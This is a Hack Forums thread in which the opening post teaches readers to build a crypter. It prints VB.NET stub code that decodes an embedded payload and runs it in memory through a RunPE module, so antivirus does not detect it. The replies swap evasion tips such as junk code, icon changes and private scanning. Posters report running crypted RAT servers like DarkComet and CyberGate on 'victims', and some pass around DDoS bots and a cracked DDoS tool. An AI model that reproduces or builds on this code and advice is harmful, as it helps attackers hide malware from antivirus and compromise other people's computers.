

Forum:[Hack Forums](#)

Thread: [How-To Make your own Scantime/Runtime Vista/7/XP crypter](#)

krayon - April 21, 2010, 6:13 pm

First I need to say a few things.

1. I'm in no way an awesome vb.net coder, I have had little experience with this type of programming.
(tho ive used vb since version 3-4)
2. I have spent a good 2-3weeks reading and trying to understand as much as I can about all of this.
3. This How-To was made for people who have very limited knowledge of vb.net and just want to get runpe working.
4. Everything here was found on this forum, I'm just trying to save some people the headache of locating everything and a bunch of trial and error.

This is how I got runpe to work with Eprouvez's tutorial on making a binder in vb.net and t0fx's runpe source code

First you are going to want to complete his tutorial on The 'Real' Binder
<https://hackforums.net/showthread.php?tid=361286&page=1>

After you have sucessfully made his binder....come back and find out how to edit it to get runpe working.

Ok welcome back if you have sucessfully followed Eprouvez's amazing binder tutorial you should now have

a good working binder and scantime crypter to work with.

You should also know how to add your stub to your binder project and have figured out that they are 2 seperate programs and the stub is the one doing all the work.

Next you're going to want to download the source code for runpe. We're going to use t0fx's source code from his moon crypter project.

<http://www.mediafire.com/?zdjtnkn21go>

Download the rp.vb and save it to your hard drive.

Now open up your stub project from earlier when you completed The 'Real' Binder by Eprouvez.

As you can see in his tutorial and code in the stub project under Form1_Load the file is getting dropped to the hard drive in the temp directory and then ran thus the antivirus is saying "erm...hell no!one!!"

So in Visual studio goto the project menu and click Add Existing Item.

Now look for the rp.vb you just downloaded and add it.
(this is t0fx's runpe module from moon crypter)

Double click on form1 and in the code view add this under Public Class Form1

Code Public Shared Function StrToByteArray(ByVal str As String) As Byte()

Dim encoding As New System.Text.ASCIIEncoding()

Return encoding.GetBytes(str)

End Function 'StrToByteArray this is converting your string to bytes for runpe to work.

Now here is where the editing comes in...double click the form on the stub project and look under Form1_Load you should have this

Code Try

```
Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create reference to temp dir
Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
My.Computer.FileSystem.WriteAllBytes(TempDir & "\ " & Drop(2), File1, False)
My.Computer.FileSystem.WriteAllBytes(TempDir & "\ " & Drop(4), File2, False)
Process.Start(TempDir & "\ " & Drop(2)) : Process.Start(TempDir & "\ " & Drop(4))
Catch ex As Exception
    Process.GetCurrentProcess.Kill()
End Try
Process.GetCurrentProcess.Kill()
End Sub
End Class
```

Now we need to edit this part so the file isn't dropped anymore

and call t0fx's runpe(rp.vb)

Remove both lines completely that have My.Computer.FileSystem.WriteAllBytes

Now remove the next line completely that has Process.start

In place of those 3 lines we're going to be calling runpe so here goes

Code System.Text.Encoding.GetEncoding(1252).GetBytes(Drop(1))

rp.Makelt(File1, Application.ExecutablePath) Now instead of dropping our files and running it, we're just running it in a process with runpe

So your Form1_Load should look something like this now

Code Try

```
Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create reference to temp dir
Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
```

```
System.Text.Encoding.GetEncoding(1252).GetBytes(Drop(1))
```

```
rp.Makelt(File1, Application.ExecutablePath)
```

```
Catch ex As Exception
```

```
    Process.GetCurrentProcess.Kill()
```

```
End Try
```

```
Process.GetCurrentProcess.Kill()
```

End Sub Now build your stub and go into your Release folder...if that's where it's outputting to and copy it and add it into

your Resources folder of your Binder project. Replacing the old stub that wasn't runpe or re-naming

it and
backing it up incase you want to use it later.

Now instead of binding 2 files together...you need to open your server in both textbox's kind of like you're binding your server with your server, and hit bind. You should now have a runpe encrypted server.

Enjoy

(I havent incorporated the binding of 2 files into the runpe code as i stopped right here in this project because i dont think runpe is the greatest thing since sliced bread i just wanted it to work for an experiment, and basically wasted alot of hours doing it)

Thanks to

MC' - for helping me understand so much

Eprouvez - for his amazing tutorial he wrote on how to build a binder in vb.net

t0fx - for releasing his runpe module, even tho he got screwed over

Remember only scan your crypted items on

scanner.novirusthanks.org and always check the Do Not distribute box.

this is still kind of buggy under XP i am trying to find a more stable way to do this...

Xaniar - April 21, 2010, 6:15 pm

good overall tutorial , bookmarked to read it later.

DarkSeven46 - April 21, 2010, 6:36 pm

Ok tutorial, but try using better grammar next time.

Neroxan - April 21, 2010, 6:40 pm

Well put together tutorial. Im sure well be seeing a major improvement in the .net applications produced around here now:)

I still roll with the old vb myself as I didnt start learning long ago, but thanks for sharing anwyays.

JIMP - April 21, 2010, 6:44 pm

Good TUT.The runPE soes not work with 64 bit computers.

krayon - April 21, 2010, 11:17 pm

(Apr 21, 2010 06:44 PM)\$atanrulze Wrote: [\[CITE\]](#) Good TUT.The runPE soes not work with 64 bit computers.Thanks for the bit of info, maybe now that people can get it going...others will start experimenting and adding their own stuff to get it working.

JIMP - April 21, 2010, 11:55 pm

(Apr 21, 2010 11:17 PM)krayon Wrote: [\[CITE\]](#) Thanks for the bit of info, maybe now that people can get it going...others will start experimenting and adding their own stuff to get it working.

Thats true.

Soul Collector - April 22, 2010, 12:19 am

Good job m8. Going to add this to my HF Guide.

bcztp - April 22, 2010, 12:35 am

(Apr 21, 2010 06:44 PM)\$atanrulze Wrote: [\[CITE\]](#) Good TUT.The runPE soes not work with 64 bit

computers.

I just bookmarked this but try compiling it as an x86 program and maybe it will work with 64 bit computers. Maybe WOW64 mode will make it fixed.

If anyone has time to test this post back in the thread :D.

JIMP - April 22, 2010, 12:42 am

(Apr 22, 2010 12:35 AM)xZer0x Wrote: [\[CITE\]](#) I just bookmarked this but try compiling it as an x86 program and maybe it will work with 64 bit computers. Maybe WOW64 mode will make it fixed.

If anyone has time to test this post back in the thread :D.

I am not sure that going to work either. This runPe works only for 32bit. According to the pros changing the APIS should make it work for 64 bit too.

[Eprouvez] - April 22, 2010, 2:16 am

Well done on the Tutorial mate :D

Thanks for the credits.

iDope -.- - April 22, 2010, 3:37 am

Good job. A very detailed tutorial. The newbs(me included) can learn something from it.

JIMP - April 22, 2010, 3:50 am

I havnt used ur TUT but i use the same RunPe. When i crypt some Exe i get this error.

[IMG][http://i43.\[censored\].com/15dutr6.jpg](http://i43.[censored].com/15dutr6.jpg)[IMG]

Does anyone know wat to do.

newbie223 - April 22, 2010, 5:16 am

firstly tofx runpe is not buggy on XP its buggy on vista n 7

2nd u can make it work on x64 by changing api

3rd i like piez :)

Bitwin - April 22, 2010, 10:43 am

(Apr 21, 2010 06:44 PM)\$atanrulze Wrote: [\[CITE\]](#) Good TUT. The runPE does not work with 64 bit computers.

Isn't it so that it can't inject 32bit apps into 64 bit memory, but 64 bit apps into 64 bit memory ?

I can be wrong tho

krayon - April 22, 2010, 8:42 pm

So this method is working flawlessly on windows 7 victims, but on xp home it seems to open up multiple instances of the server and cancels each other out. Ending up in a death loop of services starting and stopping. Any idea why it would keep trying to open the file over and over? I swear RunPE has a mind of its own sometimes.

South Park - April 22, 2010, 8:58 pm

Now theirs going to be another 100 crypters on the marketplace.

stone666 - April 22, 2010, 9:48 pm

Thanks man this helped me on my crypter im working on shouldnt be long now there will be a PUBLIC beta and then it will probably go private ill give credits to you and everyone else i need 2.

L0w hack3r - April 23, 2010, 5:57 am

nice tut im going to read this later its bit long...?

JIMP - April 23, 2010, 6:05 am

(Apr 22, 2010 08:42 PM)krayon Wrote: [\[CITE\]](#) So this method is working flawlessly on windows 7 victims, but on xp home it seems to open up multiple instances of the server and cancels each other out. Ending up in a death loop of services starting and stopping. Any idea why it would keep trying to open the file over and over? I swear RunPE has a mind of its own sometimes.
i totally agree.

DeltaNox - April 23, 2010, 6:13 am

Very nice tutorial. You're the first I've seen actually explain what the parts of the RunPE do, this will be helpful for members wanting to learn and write their own.

HeXploit - April 23, 2010, 6:24 am

@\$atanrulze

Could you list the service packs and .Net frameworks you have installed, as it could be a incorrect mix you have that's causing you error.

If you want you could PM me and I could help.

Yours,

HeXploit

JIMP - April 23, 2010, 6:30 am

I dont think its th prob of .net framework.It works for some exe.

krayon - April 23, 2010, 1:07 pm

(Apr 23, 2010 06:30 AM)\$atanrulze Wrote: [\[CITE\]](#) I dont think its th prob of .net framework.It works for some exe.

This is exactly right, after further testing it works fine with dark comet under xp and windows7...and goes ape sh1t with cybergate under xp but fine under win7...it's just the nature of the beast.

stoney666 - April 23, 2010, 4:59 pm

well i cant figure out how to get rid of the avira detection.

Wind - April 23, 2010, 5:25 pm

(Apr 23, 2010 04:59 PM)stoney666 Wrote: [\[CITE\]](#) well i cant figure out how to get rid of the avira detection.

I've been told all you need to do is change the icon of your .exe.

?

stoney666 - April 23, 2010, 5:53 pm

(Apr 23, 2010 05:25 PM)Wind Wrote: [\[CITE\]](#) I've been told all you need to do is change the icon of your .exe.

?

ive tried that it dont work.

imperium - April 23, 2010, 8:41 pm

RunPE ideas:

I bet you the reason it doesn't work on 64-bit is because of this line where it checks the registers (since the processors are structured differently, the apis will work on any processor) I'm just trying to figure out if I'm right and if I can bypass it since it looks like its just checking to see if there are any values in the thread before injecting the byte array.

Code If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8, Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then
Any one familiar with this?

I did something similar in C# that injects shellcode into an existing process and it works on Win7 64 (and 32) since thats what I'm running, I just used the raw api calls, so i'm assuming I can do the same for this. Right now I'm just going through it all and seeing if I should try to convert it or start from scratch based on my program since I use c# not vb.net.

Check out my program shellInjector @ <http://imperiumsec.com>

JIMP - April 23, 2010, 9:07 pm

(Apr 23, 2010 08:41 PM)imperium Wrote: [\[CITE\]](#) RunPE ideas:

I bet you the reason it doesn't work on 64-bit is because of this line where it checks the registers (since the processors are structured differently, the apis will work on any processor) I'm just trying to figure out if I'm right and if I can bypass it since it looks like its just checking to see if there are any values in the thread before injecting the byte array.

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Check out my program shellInjector @ <http://imperiumsec.com>

Can u be more specific bro.I think ur geting to somewhere usefull.

imperium - April 23, 2010, 10:37 pm

Specifically I'm trying to make it work on a 64bit processors, right now using my own code I can inject shellcode into a process but not start a process from a full pe in 64bit. Going through this runpe module line by line I'm trying to find the areas that are 32-bit specific and the line I posted above is one place that jumps out at me. So I'm asking people who are experienced with this technique of starting a process if they know the areas we can change to make it work on both 32 and 64 bi processors.

codepoet - April 24, 2010, 2:08 pm

nice tut man....good work

krayon - April 24, 2010, 2:16 pm

(Apr 24, 2010 02:08 PM)crow407 Wrote: [\[CITE\]](#) nice tut man....good work

Thank you, and thanks for all the positive feedback from everyone.

Still a lot of room for improvement :)

illu444 - April 24, 2010, 3:45 pm

Hey krayon I've tried to add EOF-Support, but it doesn't work for me. Maybe you can help me.

I've added the EOF from killerpanther and called it this way:

```
If CheckBox2.Checked Then
    Call EOF(S.FileName)
Else
End If
```

But it wont work. It shows me while crypting some error.

invalid conversion from the string ... in integer. << something like this.

krayon - April 24, 2010, 7:13 pm

Not sure what could be going on, but you can try to apply this method of using runpe into the many versions of binder sources that float around on here. I'm still messing with this stuff too. I thought I was finished but I always keep going...It's like I'm addicted to knowledge/learning new things.

lorens13 - April 24, 2010, 10:58 pm

This is nice,thanks for sharing it^^

krayon - April 24, 2010, 11:28 pm

(Apr 24, 2010 10:58 PM)lorens13 Wrote: [\[CITE\]](#) This is nice,thanks for sharing it^^
No prob, you're welcome ;)

Mark Webber's B1tch - April 24, 2010, 11:38 pm

Great tutorial!

Well explained etc.. ?

Th3 Jok3r - May 5, 2010, 5:15 pm

Awesome,I am gonna try this!

krayon - May 5, 2010, 6:28 pm

What you should know is that this will NOT support EOF type RATs such as cybergate without a little bit of modification.

Khornet - May 5, 2010, 6:53 pm

Very nice tutorial man, keep it up!

krayon - May 5, 2010, 7:35 pm

(May 5, 2010 06:53 PM)Khornet Wrote: [\[CITE\]](#) Very nice tutorial man, keep it up!
Thanks a lot for the nice comments. I promise to contribute more once i figure out these EOF issues im having atm :P

Anx?ety - May 5, 2010, 8:38 pm

Amazing Tut good job. Grammer a little ehhe but the Tut i give it a 4.5

krayon - May 5, 2010, 8:39 pm

(May 5, 2010 08:38 PM)Anxiety® Wrote: [\[CITE\]](#) Amazing Tut good job. Grammer a little ehhe but the Tut i give it a 4.5

Yeah i wrote it pretty quickly maybe 10minutes max, got a lot of PM's asking about runpe

Anx?ety - May 5, 2010, 8:42 pm

LOL well good Job. I know many people need something like that very Noob Freindly

Typhoon32 - May 6, 2010, 7:23 am

Great tutorial. Helped me. Next time though, try to use some colors, its a bit messy :\nOtherwise, TY

skunkmonster - May 6, 2010, 11:27 am

Great job and 5 stars from me.

alex_androunet - May 26, 2010, 2:16 am

I LOVE YOU THXXXXXXXXXXXXXXXXXX

Hey, it s working perfectly, on novirusthanks i have only 1/19 (avira, what can i do for that) but when i open it on a victim computer, his antivirus (avg for his case) detect it

W33DY - May 26, 2010, 3:15 am

Thanks nice share !

Very nice tut

alex_androunet - May 26, 2010, 3:29 am

Hey, i got a detection problem, and also i want to say that the crypted file is realy not stable, what can i do ? thx

hacphongthan - May 26, 2010, 5:04 pm

Nice nice nice. I will try runpe to make my crypter fud. But i think stub fud not enough because av will detect crypter too

Reason2Game - June 22, 2010, 2:04 pm

Good tutorial ;) it helps people who can't find a FUD Crypter to make a private one !

keep up the good job !

fkhtsht - June 23, 2010, 5:51 am

Next you're going to want to download the source code for runpe. We're going to use t0fx's source code from his moon crypter project.

<http://www.mediafire.com/?zdjtnkn21go>

This is what you said. ^ The link does not work.

?LIT? \$ØLDI?R - June 28, 2010, 7:01 am

this is amazing,i added like 400 line's of junk code,and now it gets detected only by avira,thx so much,this really helped!!!

The Penguin - June 29, 2010, 5:21 am

hey ive followed the tut quite precisely but thanks to my lack of knoledge of vb.net ive stumbled apou a minor error : NAME RP IS NOT DECLARED!

i got a feeling when if i declare it then ill get the same thing for "Makeit"

```
Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
```

```
Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
```

```
System.Text.Encoding.GetEncoding(1252).GetBytes(Drop(1))  
rp.MakeIt(File1, Application.ExecutablePath)
```

i know i have to declare it but how do i do it?

m0nk3y - June 29, 2010, 8:52 am

(Apr 23, 2010 01:07 PM)krayon Wrote: [\[CITE\]](#) This is exactly right, after further testing it works fine with dark comet under xp and windows7...and goes ape sh1t with cybergate under xp but fine under win7...it's just the nature of the beast.

gose ape sh1t here to brother, using cybergate, the server dose not run.
ill use dark comet then.

(May 5, 2010 07:35 PM)krayon Wrote: [\[CITE\]](#) Thanks a lot for the nice comments. I promise to contribute more once i figure out these EOF issues im having atm :P
i think there are a few tuts for that...i got EOF working.

zer0day - June 29, 2010, 10:05 am

Bookmarked for later, this will be helpful thanks!

dynkke - June 29, 2010, 12:21 pm

Nice tutorial! It take like 4h to get this ready

wyterzzz - June 29, 2010, 1:03 pm

great tutorial man , thanks :)
too short

KrYpToNiTe™ - June 29, 2010, 4:31 pm

(Jun 29, 2010 05:21 AM)Michael Scofield Wrote: [\[CITE\]](#) hey ive followed the tut quite precisely but thanks to my lack of knoledge of vb.net ive stumbled upon a minor error : NAME RP IS NOT DECLARED!

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```

```
System.Text.Encoding.GetEncoding(1252).GetBytes(Drop(1))  
rp.MakeIt(File1, Application.ExecutablePath)
```

i know i have to declare it but how do i do it?
First did you do this step

Quote:So in Visual studio goto the project menu and click Add Existing Item.

Now look for the rp.vb you just downloaded and add it.
(this is t0fx's runpe module from moon crypter)

If so make sure you see the rp.vb is in your solution explorer if it isn't then add it following the tut, if it is then open it up and make sure the class name is rp it should be at the top that is where it is declared hope this helps :)

Ghostenigma - July 5, 2010, 5:53 am

Thanks for this amazing tutorial,i just understand how to make my crypter now ,sure with credits in the end :P

[VoLTaGe] - July 23, 2010, 10:28 pm

Great I got my Cybergate Server to 1/16 but it corrupts it :|.

krayon - August 12, 2010, 5:23 pm

guys sorry been out of the loop here for a minute as work is taking up alot of time but i promise to come back and contribute more, i have solved some issues such as cybergate not working etc...it's pretty simple...let me give a quick idea to help you out. Cybergate does work...how ever...only on vista/7 systems...xp goes crazy as im sure you know....Darkcomet also works but only on XP...not vista/7...so with that said you can do like i did sort of a work around. tell your stub which program to open based on which OS they use...it takes some messing with but that was my work around. Hope it helps and see you guys soon

The End Gamer - August 17, 2010, 3:44 am

Awesome Tutorial Dude xD
Good Job ;)

PlatinumHex - August 22, 2010, 1:01 am

Thank you so much for great tutorial,
My head feels much better now. ?

CleX - August 28, 2010, 3:57 pm

i'll make sure to read this thank you very much.-

ap1007 - September 27, 2010, 6:30 pm

u need to use the UNIQUE RUNPE generator. pm me for link, makes FUD RUNPE modules
btw ty for the tut i <3 u

Malitastic - November 5, 2010, 3:15 pm

Brilliant tutorial. Just what I needed thanks!

xartermate - November 9, 2010, 2:28 pm

awesome tut !!!

you are a awesome coder brother!!!?

i compiled like in your tut with that binder from emprouvez, that is an awesome dam tutorial and binder. "works and very stable" "and 100% fud"

tut code and some changings:

i choose the server two times and bindcrypt with it. and get one exe.

tryed on a vb app and bindcrypted, and worked.

Now i have to test to see if it is now runtime, because if it is!!!

you are a huge god!! (and my god)

rep ++

thankx krayon

emprouvez

mc

be back for feddzbakxs. ?

kbhawkman - November 9, 2010, 2:45 pm

Is the t0fx RunPE only 32bit?

xartermate - November 9, 2010, 3:22 pm

i am on several tests to it.

and i am using a module runpe that i had i really dont know from ho but looks like japazb runpe and i thing they are a bit the same.

i worked him out on aescrypter from newbie and seems good too, lowered my crypted server detection.

sending now to some mchns to se if its runtime.

xartermate - November 11, 2010, 10:01 am

still scantime mine

change it a litle bit but still catched on runing :

```
Try
System.Text.Encoding.Default.GetBytes("BYTES!")
Dim lasys As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to
temp dir
Dim float() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "@esticaí@")
Dim File1 As Byte() = Unsecure(Convert.FromBase64String(float(1)))
System.Text.Encoding.GetEncoding(1252).GetBytes(float(2))
runpe.InjectPE(File1, Application.ExecutablePath)
Catch ex As Exception
Process.GetCurrentProcess.Kill()
End Try
Process.GetCurrentProcess.Kill()
```

i made a crypter of emprouvez binder and this is the stub already worked out with this tut.
mine runpe can only do the injectpe not makeit.

i crypt a normal vb file and hes fine but wen crypt a server he detects wen run.
anyone can give me a help on this.

i can give also the builder he is 100% fud this stub is 1/16 but as i say scantime.
help me to make this runtime guys. really need this.

xartermate - November 19, 2010, 1:36 pm

!!!

last post was still learning the source.

few days ago got it on runtime :)

thank you very much it was very helpfull.

rep + to the man. :blackhat

coldfire1970 - January 7, 2011, 4:22 am

LIBERTY RESERVE FINALLY HACKED

<http://www.youtube.com/watch?v=bcGa1Tf728U>

Joe67 - January 7, 2011, 11:44 am

Will try ... Thank :)

Too short

fireboot - January 24, 2011, 2:22 am

Erreur 1 'Stub' n'est pas un membre de 'Resources'. What solve this, thank. :)

English : Error 1 'Stub' is not a member of 'Resources'.

EDIT I found had to click on resource.rsx > add resource.

SIM-135152 - January 24, 2011, 4:38 am

bookmarked

i will read it and rewrite a feedback

Mr. Panda - February 25, 2011, 8:54 am

Woaa!

Thanks man! Works!

Finally have my own crypter now.

Joefishems - March 20, 2011, 3:12 am

Well it seems whenever I run this(or many other programs as a matter of fact) it seems to be corrupted in some way. I get this error when running the crypted server sandboxed. the application was unable to start correctly (0xc000010a)

Edit: Seems that error is gone but it keeps closing, cant get my bot to connect. any suggestions?

Banks? - March 21, 2011, 12:29 am

(Mar 20, 2011 03:12 AM)Joefishems Wrote: [\[CITE\]](#) Well it seems whenever I run this(or many other programs as a matter of fact) it seems to be corrupted in some way. I get this error when running the crypted server sandboxed. the application was unable to start correctly (0xc000010a)

Edit: Seems that error is gone but it keeps closing, cant get my bot to connect. any suggestions?
Crypter probably doesn't work with that rat/bot.

Joefishems - March 21, 2011, 12:44 am

Well im using the biozombie bot for this. the one that comes in brents ddos guide. If that is true then this bot cant be crypted on any crypter because this happens on almost every crypter i make/download. Only one i know that it worked on is giga crypter cept it wasnt fud which is pointless
_ _

Banks? - March 21, 2011, 1:05 am

(Mar 21, 2011 12:44 AM)Joefishems Wrote: [\[CITE\]](#) Well im using the biozombie bot for this. the one that comes in brents ddos guide. If that is true then this bot cant be crypted on any crypter because this happens on almost every crypter i make/download. Only one i know that it worked on is giga crypter cept it wasnt fud which is pointless -_-

I recommend getting DDoSeR. I have a thread on a crack for it here,
<https://hackforums.net/showthread.php?tid=820818>

Joefishems - March 21, 2011, 1:23 am

Thank you very much. Ill give it a whirl and get back to you on the results

Mr.thinker - March 21, 2011, 1:39 am

Very nice tutorial ! Thx For Sharing :)

Taoumek - March 21, 2011, 11:09 am

thank you
it really helps

Joefishems - March 21, 2011, 11:14 pm

Well heres my new error after crypting and using DDoser...

[IMG]http://i52.[censored].com/2j34s35.jpg[/IMG]

Tested on multiple crypters results in the same thing
Im starting to think its an error with my computer.

Edit: Turns out it is in fact my computer. Tested it on my x64 computer and works perfectly. Wtf

xn3dx - April 7, 2011, 12:32 pm

is this vb.net 2010 :DDD
its nice thnx for tut :)<3

uglykidjoes - May 16, 2011, 7:10 am

Nice tut there op was a nice read

1NV1518L3 - May 24, 2011, 6:55 am

Did it work on 64bit ? win 7

profetiko - May 30, 2011, 5:01 am

Nice tutorial, i tried and it works!

Vazity - May 30, 2011, 5:04 am

Nice tutorial. Thanks! :D

The MammoTh - May 30, 2011, 6:04 am

Good stuff bro i bookmarked it to read later on!

mohit - August 4, 2011, 11:52 am

great tut, thanks buddy, keep it up ?

.bLaZeD - August 4, 2011, 2:26 pm

Really, nice fucking gravedig.

spike32 - August 4, 2011, 11:17 pm

great tutorial man , thanks ?

paulzz - August 5, 2011, 8:19 am

thanks sir :) for this help :)